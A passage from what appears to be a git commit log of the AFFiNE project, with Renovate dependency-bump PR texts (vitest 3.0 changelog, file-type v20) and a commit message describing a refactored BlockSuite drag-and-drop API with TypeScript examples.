    -   Add `toHaveBeenCalledExactlyOnceWith` expect matcher  -  by [@&#8203;jacoberdman2147](https://redirect.github.com/jacoberdman2147) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6894](https://redirect.github.com/vitest-dev/vitest/issues/6894) [<samp>(ff662)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ff66206a)
    -   Add `toHaveBeenCalledAfter` and `toHaveBeenCalledBefore` utility  -  by [@&#8203;Barbapapazes](https://redirect.github.com/Barbapapazes) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6056](https://redirect.github.com/vitest-dev/vitest/issues/6056) [<samp>(85e6f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/85e6f99f)
    -   Add `toSatisfy` asymmetric matcher  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7022](https://redirect.github.com/vitest-dev/vitest/issues/7022) [<samp>(f691a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/f691ad76)
    -   Add `toBeOneOf` matcher  -  by [@&#8203;zirkelc](https://redirect.github.com/zirkelc) and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6974](https://redirect.github.com/vitest-dev/vitest/issues/6974) [<samp>(3d742)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3d742b2b)
-   **reporter**:
    -   Add support for function type to classname option in the junit reporter  -  by [@&#8203;jpleclerc](https://redirect.github.com/jpleclerc), **Jean-Philippe Leclerc** and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6839](https://redirect.github.com/vitest-dev/vitest/issues/6839) [<samp>(dc238)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dc238e92)
-   **reporters**:
    -   `summary` option for `verbose` and `default` reporters  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6893](https://redirect.github.com/vitest-dev/vitest/issues/6893) [<samp>(511b7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/511b73c7)
-   **runner**:
    -   Test context can inject values from the config's `provide`  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6813](https://redirect.github.com/vitest-dev/vitest/issues/6813) [<samp>(85c64)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/85c64e35)
    -   Add "queued" state  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6931](https://redirect.github.com/vitest-dev/vitest/issues/6931) [<samp>(5f8d2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/5f8d2091)
-   **snapshot**:
    -   Provide `config` to `resolveSnapshotPath`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6800](https://redirect.github.com/vitest-dev/vitest/issues/6800) [<samp>(746d8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/746d8986)
-   **ui**:
    -   Allow run individual tests/suites from the UI  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/6641](https://redirect.github.com/vitest-dev/vitest/issues/6641) [<samp>(d9cc8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d9cc81dd)
    -   Make clicking on a test in the UI open the report section and scroll to the test failure if applicable  -  by [@&#8203;jacoberdman2147](https://redirect.github.com/jacoberdman2147) in [https://github.com/vitest-dev/vitest/issues/6900](https://redirect.github.com/vitest-dev/vitest/issues/6900) [<samp>(1bf27)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1bf27f0d)
    -   Allow hide/show node_modules in module graph tab  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/7217](https://redirect.github.com/vitest-dev/vitest/issues/7217) [<samp>(50cf6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/50cf61b8)
-   **vitest**:
    -   Include `coverageMap` in json report  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6606](https://redirect.github.com/vitest-dev/vitest/issues/6606) [<samp>(9c8f7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9c8f7e3e)
    -   Add `onTestsRerun` method to global setup context  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6803](https://redirect.github.com/vitest-dev/vitest/issues/6803) [<samp>(e26e0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e26e066c)

#####    🐞 Bug Fixes

-   Misc fix for vite 6 ecosystem ci  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6867](https://redirect.github.com/vitest-dev/vitest/issues/6867) [<samp>(80f8b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/80f8bbf4)
-   Respect `cacheDir` when optimizer is enabled  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6910](https://redirect.github.com/vitest-dev/vitest/issues/6910) [<samp>(0b08b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/0b08bc11)
-   Reset runningPromise after `finally` in case there is an error to avoid it getting stuck  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6951](https://redirect.github.com/vitest-dev/vitest/issues/6951) [<samp>(02194)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/021944cd)
-   Revert support for Vite 6  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) [<samp>(fbe5c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fbe5c39d)
-   Support Node 21  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) [<samp>(92f7a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92f7a2ad)
-   Don't use `Custom` type internally  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7032](https://redirect.github.com/vitest-dev/vitest/issues/7032) [<samp>(7957f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7957f912)
-   Persist cli filters as watch mode file filter  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6955](https://redirect.github.com/vitest-dev/vitest/issues/6955) [<samp>(cc703)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/cc703362)
-   Don't use dim color for succeeded tests  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7059](https://redirect.github.com/vitest-dev/vitest/issues/7059) [<samp>(8a6f5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8a6f5f16)
-   Fix missing chai types  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7149](https://redirect.github.com/vitest-dev/vitest/issues/7149) [<samp>(6a09c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6a09cc3b)
-   `cancelCurrentRun` awaits `runningPromise`  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7168](https://redirect.github.com/vitest-dev/vitest/issues/7168) [<samp>(1dbf5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1dbf5140)
-   Add Locator typings for nth, first and last.  -  by [@&#8203;xeger](https://redirect.github.com/xeger) in [https://github.com/vitest-dev/vitest/issues/7176](https://redirect.github.com/vitest-dev/vitest/issues/7176) [<samp>(d262e)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d262e059)
-   Batch console logs by microtask  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7183](https://redirect.github.com/vitest-dev/vitest/issues/7183) [<samp>(53d1d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/53d1d5f5)
-   Allow `getMockImplementation` to return "once" implementation  -  by [@&#8203;chaptergy](https://redirect.github.com/chaptergy) in [https://github.com/vitest-dev/vitest/issues/7033](https://redirect.github.com/vitest-dev/vitest/issues/7033) [<samp>(39125)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3912554b)
-   `capturePrintError` logger duplicate event handlers  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7197](https://redirect.github.com/vitest-dev/vitest/issues/7197) [<samp>(e89c3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e89c3693)
-   Allow slots in vitest-browser-vue  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7120](https://redirect.github.com/vitest-dev/vitest/issues/7120) [<samp>(2319f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2319f849)
-   Reset root workspace project on restart  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7238](https://redirect.github.com/vitest-dev/vitest/issues/7238) [<samp>(6e518)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6e51843a)
-   Cleanup `vitest/reporters` entrypoint  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7241](https://redirect.github.com/vitest-dev/vitest/issues/7241) [<samp>(aec0b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/aec0b530)
-   Colors on `forks` pool  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7090](https://redirect.github.com/vitest-dev/vitest/issues/7090) [<samp>(8cab9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8cab9601)
-   Export `VitestRunner` type from `vitest/runners`  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7240](https://redirect.github.com/vitest-dev/vitest/issues/7240) [<samp>(9b218)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9b218854)
-   Return test fn result to runner  -  by [@&#8203;wmertens](https://redirect.github.com/wmertens) in [https://github.com/vitest-dev/vitest/issues/7239](https://redirect.github.com/vitest-dev/vitest/issues/7239) [<samp>(48645)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/48645bf4)
-   Re-apply default conditions if using vite 6 or later  -  by [@&#8203;thebanjomatic](https://redirect.github.com/thebanjomatic), **thebanjomatic** and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7071](https://redirect.github.com/vitest-dev/vitest/issues/7071) [<samp>(84287)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/84287fc2)
-   Prevent infinite loop on prettyDOM calls  -  by [@&#8203;tsirlucas](https://redirect.github.com/tsirlucas) in [https://github.com/vitest-dev/vitest/issues/7250](https://redirect.github.com/vitest-dev/vitest/issues/7250) [<samp>(a3a46)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a3a46a53)
-   **api**:
    -   Don't report events during `vitest list`  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7257](https://redirect.github.com/vitest-dev/vitest/issues/7257) [<samp>(1c2b2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1c2b210d)
-   **benchmark**:
    -   Disable type testing while benchmarking  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7068](https://redirect.github.com/vitest-dev/vitest/issues/7068) [<samp>(4e603)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/4e60333d)
    -   Rewrite reporter without `log-update`  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7019](https://redirect.github.com/vitest-dev/vitest/issues/7019) [<samp>(6d23f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6d23f4b1)
-   **browser**:
    -   Improve source maps when `vi.mock` is present  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6810](https://redirect.github.com/vitest-dev/vitest/issues/6810) [<samp>(8d179)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8d179afc)
    -   Explain TypeScript support in docs and add asymmetric matchers to types  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6934](https://redirect.github.com/vitest-dev/vitest/issues/6934) [<samp>(ac1a7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ac1a7fdc)
    -   Fix matchers.d.ts  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6995](https://redirect.github.com/vitest-dev/vitest/issues/6995) [<samp>(a485b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a485b32b)
    -   Fix user event state on preview provider  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7041](https://redirect.github.com/vitest-dev/vitest/issues/7041) [<samp>(8e944)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8e94427e)
    -   Fix provider options types  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7115](https://redirect.github.com/vitest-dev/vitest/issues/7115) [<samp>(579bd)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/579bda97)
    -   Only use locator.element on last expect.element attempt  -  by [@&#8203;tsirlucas](https://redirect.github.com/tsirlucas) in [https://github.com/vitest-dev/vitest/issues/7139](https://redirect.github.com/vitest-dev/vitest/issues/7139) and [https://github.com/vitest-dev/vitest/issues/7152](https://redirect.github.com/vitest-dev/vitest/issues/7152) [<samp>(847d3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/847d3221)
    -   Use correct project when filtering `entries` in the browser mode  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7167](https://redirect.github.com/vitest-dev/vitest/issues/7167) [<samp>(423d6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/423d6345)
    -   Fix `console.time` with fake timers  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7207](https://redirect.github.com/vitest-dev/vitest/issues/7207) [<samp>(903f3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/903f3b9b)
    -   Add instance validation to resolve coverage error  -  by [@&#8203;DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7231](https://redirect.github.com/vitest-dev/vitest/issues/7231) [<samp>(1e791)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1e7915b5)
-   **coverage**:
    -   Exclude browser mode iframe results  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6905](https://redirect.github.com/vitest-dev/vitest/issues/6905) [<samp>(e04a1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e04a1368)
    -   Correct coverage when `isolate: false` is used  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6957](https://redirect.github.com/vitest-dev/vitest/issues/6957) [<samp>(426ce)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/426ce6d8)
    -   Prevent crash when v8 incorrectly merges static_initializer's  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7150](https://redirect.github.com/vitest-dev/vitest/issues/7150) [<samp>(cb6db)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/cb6db13e)
-   **deps**:
    -   Update all non-major dependencies  -  in [https://github.com/vitest-dev/vitest/issues/7085](https://redirect.github.com/vitest-dev/vitest/issues/7085) [<samp>(8cc92)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8cc92c2f)
    -   Update all non-major dependencies  -  in [https://github.com/vitest-dev/vitest/issues/7116](https://redirect.github.com/vitest-dev/vitest/issues/7116) [<samp>(de5ce)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/de5ce3d9)
    -   Update dependency pathe to v2  -  in [https://github.com/vitest-dev/vitest/issues/7181](https://redirect.github.com/vitest-dev/vitest/issues/7181) [<samp>(74dbe)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/74dbe03f)
-   **diff**:
    -   Truncate to avoid crash on diff large objects  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7133](https://redirect.github.com/vitest-dev/vitest/issues/7133) [<samp>(2a9d6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2a9d67a2)
-   **junit**:
    -   Fix testsuites time to be sum of all testsuite items  -  by [@&#8203;saitonakamura](https://redirect.github.com/saitonakamura) in [https://github.com/vitest-dev/vitest/issues/6985](https://redirect.github.com/vitest-dev/vitest/issues/6985) [<samp>(ca37a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ca37a06a)
-   **pretty-format**:
    -   Support react 19  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6909](https://redirect.github.com/vitest-dev/vitest/issues/6909) [<samp>(bd29b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bd29bcc7)
-   **reporters**:
    -   Write buffered stdout/stderr on process exit  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6932](https://redirect.github.com/vitest-dev/vitest/issues/6932) [<samp>(80cde)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/80cde2a0)
    -   Rewrite `dot` reporter without `log-update`  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6943](https://redirect.github.com/vitest-dev/vitest/issues/6943) [<samp>(be969)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/be969cfb)
    -   Check `--hideSkippedTests` in base reporter  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6988](https://redirect.github.com/vitest-dev/vitest/issues/6988) [<samp>(721a5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/721a5b84)
    -   Show `retry` and `repeats` counts  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7004](https://redirect.github.com/vitest-dev/vitest/issues/7004) [<samp>(3496a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3496a015)
-   **runner**:
    -   Long synchronous tasks does not time out  -  by [@&#8203;ferdodo](https://redirect.github.com/ferdodo) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/2920](https://redirect.github.com/vitest-dev/vitest/issues/2920) and [https://github.com/vitest-dev/vitest/issues/6944](https://redirect.github.com/vitest-dev/vitest/issues/6944) [<samp>(2fb58)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2fb585ae)
    -   Mark tests of `describe.todo` as `'todo'`  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7171](https://redirect.github.com/vitest-dev/vitest/issues/7171) [<samp>(1d458)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1d458955)
-   **snapshot**:
    -   Fix "obsolete" message on snapshot update re-run  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7129](https://redirect.github.com/vitest-dev/vitest/issues/7129) [<samp>(c2beb)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c2beb8ca)
    -   Preserve white space of `toMatchFileSnapshot`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7156](https://redirect.github.com/vitest-dev/vitest/issues/7156) [<samp>(a437b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a437b656)
    -   Fix obsoleteness check of `toMatchSnapshot("...")`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7126](https://redirect.github.com/vitest-dev/vitest/issues/7126) [<samp>(ac9ba)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ac9ba151)
-   **typecheck**:
    -   Fix typecheck collect on Vite 6  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6972](https://redirect.github.com/vitest-dev/vitest/issues/6972) [<samp>(7b35d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7b35d13a)
    -   Use unique temp and tsbuildinfo file for each tsconfig file  -  by [@&#8203;masnormen](https://redirect.github.com/masnormen) in [https://github.com/vitest-dev/vitest/issues/7107](https://redirect.github.com/vitest-dev/vitest/issues/7107) and [https://github.com/vitest-dev/vitest/issues/7112](https://redirect.github.com/vitest-dev/vitest/issues/7112) [<samp>(61b30)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/61b30162)
    -   Fix error test case mapping for `@ts-expect-error`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7125](https://redirect.github.com/vitest-dev/vitest/issues/7125) [<samp>(27d34)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/27d340aa)
-   **types**:
    -   Make parameters non-nullable for Playwright options  -  by [@&#8203;apple-yagi](https://redirect.github.com/apple-yagi) in [https://github.com/vitest-dev/vitest/issues/6989](https://redirect.github.com/vitest-dev/vitest/issues/6989) [<samp>(fe2a1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fe2a187f)
-   **ui**:
    -   Wrong module graph when generating html.meta.json.gz in browser mode  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/7214](https://redirect.github.com/vitest-dev/vitest/issues/7214) [<samp>(dccdd)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dccdd550)
    -   Add errors and draft state (\*) to the code editor  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/7044](https://redirect.github.com/vitest-dev/vitest/issues/7044) [<samp>(faca4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/faca4de8)
-   **vite-node**:
    -   Fix error stack on Windows  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6786](https://redirect.github.com/vitest-dev/vitest/issues/6786) [<samp>(bf7b3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bf7b36ac)
    -   Properly normalize file url import  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7087](https://redirect.github.com/vitest-dev/vitest/issues/7087) [<samp>(31675)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/31675e3b)
    -   Fix mandatory node prefix  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7179](https://redirect.github.com/vitest-dev/vitest/issues/7179) [<samp>(b6284)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b6284642)
-   **watch**:
    -   Don't indicate exit when no matching files  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7246](https://redirect.github.com/vitest-dev/vitest/issues/7246) [<samp>(003c0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/003c0bef)
-   **workspace**:
    -   `extends: true` correctly inherits all root config properties  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7232](https://redirect.github.com/vitest-dev/vitest/issues/7232) [<samp>(798c0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/798c0da2)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.8...v3.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-18 16:27:22 +00:00
EYHN
a2ffdb4047 feat(core): new worker workspace engine (#9257) 2025-01-16 16:22:18 +00:00
doouding
99717196c5 refactor: rewrite blocksuite dnd (#9595)
### Changed

- Refactored BlockSuite drag-and-drop using @atlaskit/pragmatic-drag-and-drop/element/adapter.
- Updated block dragging to use the new drag-and-drop infrastructure.

### BlockSuite DND API

Access the BlockSuite drag-and-drop API via `std.dnd`. This is a lightweight wrapper around pragmatic-drag-and-drop, offering convenient generic types and more intuitive option names.

#### Drag payload structure
There's some constrain about drag payload. The whole drag payload looks like this:

```typescript
type DragPayload = {
  entity: {
    type: string
  },
  from: {
    at: 'blocksuite',
    docId: string
  }
}
```
- The `from` field is auto-generated—no need for manual handling.
- The `entity` field is customizable, but it must include a `type`.

All drag-and-drop methods accept a generic type for entity, ensuring more accurate payloads in event handlers.

```typescript
type BlockEntity = {
  type: 'blocks',
  blockIds: string[]
}

dnd.draggable<BlockEntity>({
  element: someElement,
  setDragData: () => {
    // the return type must satisfy the generic type
    // in this case, it's BlockEntity
    return {
      type: 'blocks',
      blockIds: []
    }
  }
});

dnd.monitor<BlockEntity>({
  // the arguments is same for other event handler
  onDrag({ source }) {
    // the type of this is BlockEntity
    source.data.entity
  }
})
```

#### Drop payload
When hover on droppable target. You can set drop payload as well. All drag-and-drop methods accept a second generic type for drop payload.

The drop payload is customizable. Additionally, the DND system will add an `edge` field to the final payload object, indicating the nearest edge of the drop target relative to the current drag position.

```typescript
type DropPayload = {
  blockId: string;
}

dnd.dropTarget<BlockEntity, DropPayload>({
  getData() {
    // the type should be DropPayload
    return {
      blockId: 'someId'
    }
  }
});

dnd.monitor<BlockEntity, DropPayload>({
  // drag over on drop target
  onDrag({ location }) {
    const target = location.current.dropTargets[0];

    // the type is DropPayload
    target.data;
    // retrieve the nearest edge of the drop target relative to the current drop position.
    target.data.edge;
  }
})
```
2025-01-16 12:36:58 +00:00
renovate
908afe19ee chore: bump up file-type version to v20 (#9731)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [file-type](https://redirect.github.com/sindresorhus/file-type) | [`^19.6.0` -> `^20.0.0`](https://renovatebot.com/diffs/npm/file-type/19.6.0/20.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/file-type/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/file-type/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/file-type/19.6.0/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/file-type/19.6.0/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [file-type](https://redirect.github.com/sindresorhus/file-type) | [`^19.5.0` -> `^20.0.0`](https://renovatebot.com/diffs/npm/file-type/19.6.0/20.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/file-type/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/file-type/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/file-type/19.6.0/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/file-type/19.6.0/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>sindresorhus/file-type (file-type)</summary>

### [`v20.0.0`](https://redirect.github.com/sindresorhus/file-type/releases/tag/v20.0.0)

[Compare Source](https://redirect.github.com/sindresorhus/file-type/compare/v19.6.0...v20.0.0)

##### Breaking

-   Drop MIME-type and extension enumeration in types ([#&#8203;693](https://redirect.github.com/sindresorhus/file-type/issues/693))  [`0ff11c6`](https://redirect.github.com/sindresorhus/file-type/commit/0ff11c6)
-   Remove `NodeFileTypeParser` in favor of using `FileTypeParser` on all platforms ([#&#8203;707](https://redirect.github.com/sindresorhus/file-type/issues/707))  [`ff8eed8`](https://redirect.github.com/sindresorhus/file-type/commit/ff8eed8)

##### Improvements

